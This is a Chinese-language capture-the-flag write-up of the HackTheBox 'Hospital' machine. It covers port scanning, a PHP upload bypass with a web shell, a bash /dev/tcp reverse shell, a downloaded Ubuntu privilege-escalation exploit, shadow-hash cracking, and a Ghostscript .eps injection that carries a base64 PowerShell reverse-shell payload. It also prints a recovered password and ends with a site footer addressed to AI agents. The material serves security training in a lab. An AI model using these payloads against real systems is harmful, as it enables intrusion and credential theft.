> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Hospital HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**技能：**

* Web 枚举
* 滥用文件/上传的 p0wny-shell 工具
* 破解受保护的哈希密码
* 通过 .eps 文件的命令注入
* 域权限提升
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/b58f85af4987aae72d4d0a8f7184993656679c2d" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/bc45f8a2cf08aa621072fdc6765bc5af64aae7c2" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**/ 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="/files/ae6de6c2a16aa8ce853a6fcee47d8151e8a3ba01" alt=""><figcaption></figcaption></figure>

**使用 extractport 对开放端口进行分析：**/ 使用 extractport 函数以简洁格式显示开放端口并复制到剪贴板。

<figure><img src="/files/fff29888ec900de8d69430b1e90ec8516998be6b" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**/ 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="/files/16e38fc5e0121b777d1417d136e7560720800085" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/20191694af48ae0b06052bd2b2851f3f0195a49f" alt=""><figcaption></figcaption></figure>

**端口 443 接口识别**

<figure><img src="/files/acd232eb384348bbf1844e734b9be2834a85ad41" alt=""><figcaption></figcaption></figure>

**端口 8080 接口识别**

<figure><img src="/files/d1ae0b5d4cf2ec9d08cfbae02962ff96df044a2a" alt=""><figcaption></figcaption></figure>

**创建用户：**

创建一个用户，以便获得对目标机器的潜在访问权限

<figure><img src="/files/b3e715a65d601c7a0c697ee05f6386f348c08c16" alt=""><figcaption></figcaption></figure>

## 文件上传漏洞：

<figure><img src="/files/58ba65a04affb376feed5a2ff57be1b179314960" alt=""><figcaption></figcaption></figure>

#### 初始利用：

尝试通过插入恶意 PHP 文件来利用文件下载漏洞

```php
<?php
system($_GET['cmd'];
?>
```

服务器会自动拒绝上传具有某些扩展名的文件请求。

<figure><img src="/files/3e33e9b0e48cff009a9e98e0eb0b9ef0e1d54ef9" alt=""><figcaption></figcaption></figure>

**使用 Burp Suite 拦截：**

使用 Burp Suite 拦截并分析流量，以了解操作错误

<figure><img src="/files/19f710ffae1b8da15fbd4b2a11c508aece2f72b0" alt=""><figcaption></figcaption></figure>

#### PHP 扩展名修改：

将文件扩展名从 `.php` 更改为 `.phar` 在 `filename` 变量，并确保该位置被成功接受

<figure><img src="/files/01aaae28817476e000bc0749d0dcab0c56caaec2" alt=""><figcaption></figcaption></figure>

**目录总结：**

使用 Gobuster 识别 Web 服务器上的目录，并定位上传的医学图像存储位置。

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/0dd830d8960308c3633a4b6e35716a8a203ae86f" alt=""><figcaption></figcaption></figure>

#### 文件未被解释：

a.phar 文件的内容不会被解释。

<figure><img src="/files/53906a5b08d0f4ecf8009c9e60b92480145fd07b" alt=""><figcaption></figcaption></figure>

**使用 GitHub 工具创建 shell：**

使用 GitHub 项目工具绕过 PHP 文件下载限制并获得 shell 访问权限

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/5dd08560bd4bda1ac02d6997c16460bbb95ecd3b" alt=""><figcaption></figcaption></figure>

**启动反向 shell：**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

运行反向 shell 以建立对目标机器的交互式访问并获得完全控制。

<figure><img src="/files/6823d2177fc072b5a7d0037717f5825098ee49f4" alt=""><figcaption></figcaption></figure>

#### 一旦你获得 Linux 服务器访问权限，以下是在终端中执行的命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升（Linux 服务器）：

**识别操作系统版本：**/ 使用 `cat /etc/os-release` 命令检查系统版本，注意到存在旧版 Ubuntu（“23.04”）。

<figure><img src="/files/23ef369bcdfe1dc29c865c75e12a0de60e8b6a80" alt=""><figcaption></figcaption></figure>

#### **下载用于移除权限的脚本：**

从 [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)下载脚本，该脚本允许权限提升：

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/bdef7c57d4703064579749d8542ddbc762f638b0" alt=""><figcaption></figcaption></figure>

#### **提取哈希密码：** 从 `/etc/shadow` 文件中的用户进行测试。

<figure><img src="/files/dbdeb15ef6d9d5fadc1af31c688210483df0c5a2" alt=""><figcaption></figcaption></figure>

**密码破解：**

使用 John the Ripper 工具和已知密码字典来破解密码：

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/ec777d4c1d1ce72ff8e73612b748a3dfb1be930f" alt=""><figcaption></figcaption></figure>

## 漏洞：.eps 文件注入

#### 在可通过 443 端口访问的网站上测试凭据。

<figure><img src="/files/3fe0da29841eeca87b5017ae1de98eb30c92b60c" alt=""><figcaption></figcaption></figure>

**发现一个受限邮箱：**

发现一个希望接收 .eps 格式设计的邮箱。

<figure><img src="/files/3fd7ce4b4c07eeda8bff5ef6039ae44d3da18f93" alt=""><figcaption></figcaption></figure>

**通过 .eps 文件进行 Ghostscript 操作：**

使用一个 [GitHub 漏洞利用](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) 基于 [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) 用于通过一个 `.eps` 文件扩展名。

<figure><img src="/files/c9e6fbe32bf301ae67ab7917f9e6701cbca630d6" alt=""><figcaption></figcaption></figure>

#### 使用 [RevShells](https://www.revshells.com/) 创建 PowerShell 载荷：

<figure><img src="/files/0b3f840add54b0fe34de7e64143694b9950ccfcf" alt=""><figcaption></figcaption></figure>

#### 将载荷注入 .eps 文件：

使用该命令将反向 shell 载荷注入 .eps 文件。

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="/files/7f1884184a9637267876ef3736fbdd538269aa89" alt=""><figcaption></figcaption></figure>

#### 使用 rlwrap 监听：

使用 rlwrap 设置监听以等待传入连接。

```bash
rlwrap nc -nlvp 4444
```

#### 发送包含恶意 EPS 文件的邮件：

<figure><img src="/files/2b28da134667fab7988175bae5641d84a925fe03" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b75db3eccce2ea2af76d63bc7279bc80d298b36f" alt="" width="563"><figcaption></figcaption></figure>

#### 发现 ghostscript.bat 文件：

发现包含“drbrown”密码的 ghostscript.bat 文件： `chr!$br0wn`

<figure><img src="/files/edcbae8f057133bb12cafc721432a02fc47ab33a" alt=""><figcaption></figcaption></figure>

#### 第一个 flag user.txt：

发现并获取第一个 flag user.txt。

<figure><img src="/files/4ebeb24c7709f8359d87429ffd8e13e3eb347b7c" alt=""><figcaption></figcaption></figure>

## Active Directory 权限提升：

#### 通过访问 XAMPP Web 服务器进行权限提升。

<figure><img src="/files/369d2497bccacda2afeb34e1cc35e78fba1f0696" alt=""><figcaption></figcaption></figure>

#### 创建 PHP 文件：

创建一个包含代码“this is a test”的 PHP 文件。

```bash
echo "this is a test" > test.php
```

#### 检查 Web 服务器：

验证 Web 服务器是否正确插入 PHP 文件。

<figure><img src="/files/be4d9ba5e539ca17d3cd0aa58474277639724c84" alt=""><figcaption></figcaption></figure>

#### 从 [p0wny-shell](https://github.com/flozz/p0wny-shell) 项目：

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="/files/cd7e4aed230da356af60fda9efd98cdc60758f8b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/89cca686d15b7382fc4e3cdeb0385e5795480822" alt=""><figcaption></figcaption></figure>

#### 将 [反向 shell](https://www.revshells.com/) 载荷注入 pownyshell 终端：

<figure><img src="/files/4af5d6bfb4170783c039093d9d4f4ccb33eff5dc" alt=""><figcaption></figcaption></figure>

#### 使用 rlwrap 监听：

```bash
rlwrap nc -nlvp 4444
```

### 已获得 root.txt 标志：

<figure><img src="/files/7c11fd9b163bf0140b36e0d81a4b3741bf4c9589" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ed725b66dacdfe63362f984374f35c3bf80a1185" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
